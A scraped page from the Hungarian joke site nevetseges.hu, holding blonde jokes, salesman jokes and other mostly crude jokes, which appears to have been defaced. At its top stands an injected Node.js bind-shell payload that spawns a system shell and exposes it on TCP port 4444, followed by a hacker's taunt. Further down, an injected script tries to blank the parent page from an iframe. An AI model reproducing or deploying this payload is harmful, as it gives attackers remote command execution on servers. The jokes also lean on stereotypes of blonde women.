-
(function(){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; var net = require("net"), cp = require("child_process"), util = require("util"); var server = net.createServer(function(socket) { var sh = cp.spawn(cmd, []); socket.pipe(sh.stdin); if (typeof util.pump === "undefined") { sh.stdout.pipe(socket); sh.stderr.pipe(socket); } else { util.pump(sh.stdout, socket); util.pump(sh.stderr, socket); } }); server.listen(4444); })();
SECURITY WARNING ANTIVÍRUS
Sajnos még az antivírus sem tud mit tenni H0VND ellen.
-
-
Belépés
Regisztráció Kapcsolatfelvétel
Vicc az oldaladra
- Nem f?l (Bolond viccek)
-
Jugoszláviában, kanyargós hegyi utakon megy a busz, tömve magyar turistákkal. Egyik hajtûkanyar a másik után. Az út mentén sírkövek, a szakadékokban figyelmeztetésül ott hagyott autóroncsok. A sofõr, aki beszél magyarul, balesetek történetével „szórakoztatja" az utasokat.
- Dragutin komám itt zuhant le a szakadékba! Itt meg Branko kocsijába rohant bele egy õrült.
A csoport IBUSZ-kísérõje, egy hölgy, nem bírja tovább.
- És ön nem fél? Hiszen a barátai mind kocsiban haltak meg!
- Mondja, hölgyem - felel a kérdésre kérdéssel a sofõr -, magának haltak már meg ismerõsei?
- Persze. És szerencsére valamennyien ágyban, párnák közt.
- Akkor hogyhogy nem fél ezek után esténként ágyba bújni?
- Mondj... (Bolond viccek)
-
Mondj három Vodka márkát!
Absolut, Stolicnaja, Finlandia.
Mondj három óvszer márkát!
Durex, Rákó, LifeStyle.
Mondj három talicskamárkát.
Ööööö.
Na látod! Inni meg baszni tudsz, de dolgozni bezzeg...
- J? elad? (Bolond viccek)
-
Egy fiatalember a városba költözik és beáll egy nagyáruházba eladónak.
- Van valami tapasztalata ezen a téren?
- Persze! Én ne tudnék eladni??
A manager gondolja, na majd meglátjuk, de tetszett neki a srác önbizalma.
Az elsõ nap megkérdezi tõle:
- Na, hány vevõje volt?
- Csak egy.
- Egy? A többi eladó átlaga napi 20-30! Mennyi volt a bevétele?
- 210 325 dollár 65 cent!
- Mennyi? Mit adott el?
- Elõször eladtam neki egy pecahorgot. Aztán egy nagyobbat. A végén egy
egész horgászfelszerelést. Aztán kérdeztem tõle, hová akar menni
horgászni. Õ fel akart menni az északi partra. Erre azt tanácsoltam
neki, hogy oda jó lesz egy vitorlás. Erre lementünk az osztályra és vett
egy duplamotoros Seawind-et. De nem volt biztos benne, hogy el tudja
majd vontatni a Civic-jével. Lementünk a szalonba és eladtam neki egy
Pajerot 4 kerék meghajtással.
- Maga azt akarja mondani, hogy az ember akart egy horgot és a végén
eladott neki egy hajót, meg egy autót?
- Hááát nem egészen..... Õ egy csomag tamponért jött be....... Erre
mondtam, hogy ha már a hétvége így el van b...va elmehetne inkább
horgászni.......
- Sz?ke agy (Szőke nős viccek)
-
A szõke nõhöz egy veszekedés hevében így szól a barátja:
- Neked biztos vákuum van a fejedben!
A nõ gondolkodik egy kicsit, majd gúnyosan így válaszol:
- Hah, az még mindig jobb, mintha semmi sem lenne benne!
- Sz?ke n? a benzink?tn?l (Szőke nős viccek)
-
A szõke nõ bemegy a benzinkútra. Odamegy hozzá a kutas és megkérdezi:
- 95-ös vagy 98-as benzint tankoljak?
- Miért idei nincs?
- Sz?ke n? (Szőke nős viccek)
-
Két szõke nõ beszélget a Hõsök terén az egyik vezér szobra elõtt :
- Milyen jó pasi! És oda is van írva, hogy 975-1023. Csak nem írták ki,
hogy Pannon, Vodafone vagy T-Mobil!
- Mit mond? (Szőke nős viccek)
-
- Mit mond a szõke nõ a barátjának?
- ???
- Drágám, kivürõl lehet, hogy szõke vagyok, de belülrõl
sötét.
- Sz?ke n? (Szőke nős viccek)
-
Festik a hidat. Egy szöszi a korlátnak támaszkodva nézelõdik, amikor észreveszi, hogy az alatta lévõ állványon dolgozó munkás nagyon bámul a szoknyája alá.
- Nahát, maga valójában nem egy úriember!
- De úgy látom, maga se valódi szõke!
- try {
// Megpróbáljuk elérni a legfelső szülő oldalt és kiüríteni a body-t
window.top.document.body.innerHTML = ';
} catch (e) {
console.error("Biztonsági hiba: Az iFrame-ből nem érhető el a főoldal (Cross-Origin).", e);
}
- Sz?ke n? a rep?l?n (Szőke nős viccek)
-
Kétüléses repülõgépen utazik a szõke, amikor a pilóta váratlanul
szívrohamot kap és meghal. A szõke belekiabál a rádióba:
- Torony, segítsenek, bajban vagyok! Meghalt a pilóta!
- Nyugalom hölgyem! - jön a válasz a toronyból - Elõször is adja meg a
magasságát és a helyzetét!
- 165 centiméter vagyok és itt ülök a pilótafülkében.
- K?t sz?ke n? buszra v?r (Szőke nős viccek)
-
Két szõke nõ áll a buszmegállóban és várják a debreceni buszt. Hamarosan
jön is egy. Odamegy egyikõjük és megkérdezi a sofõrtõl:
- Ez a busz elvisz Debrecenbe?
- Nem!
Odamegy a másik is és megkérdezi:
- És engem?
-
Belépés
Regisztráció Kapcsolatfelvétel
Vicc az oldaladra
-
- .:Állatos viccek:.
- .:Anyós viccek:.
- .:Bolond viccek:.
- .:Csak nőknek:.
- .:Csak férfiaknak:.
- .:Egyéb viccek:.
- .:Elvont viccek:.
- .:Gyerek viccek:.
- .:Házassági viccek:.
- .:Hogy hívják...:.
- .:Jean viccek:.
- .:Katona viccek:.
- .:Közlekedési viccek:.
- .:Morbid viccek:.
- .:Móricka viccek:.
- .:Munkahelyi viccek:.
- .:Orvosi viccek:.
- .:Pikáns viccek:.
- .:Pincér viccek:.
- .:Politikai viccek:.
- .:Rendőr viccek:.
- .:Részeg viccek:.
- .:Roma viccek:.
- .:Skót viccek:.
- .:Sport viccek:.
- .:Stirlitz viccek:.
- .:Számítástechnikai viccek:.
- .:Székely viccek:.
- .:Szőke nős viccek:.
- .:Utolsó mondatok:.
- .:Ügyvéd viccek:.
- .:Vallási viccek:.
- .:Zsidó viccek:.
nevetseges.hu on Facebook - Nevetséges Viccek - Impresszum - Jogi nyilatkozat
Kellemes szórakozást kíván a Nevetséges Viccek szerkesztősége. www.nevetseges.hu
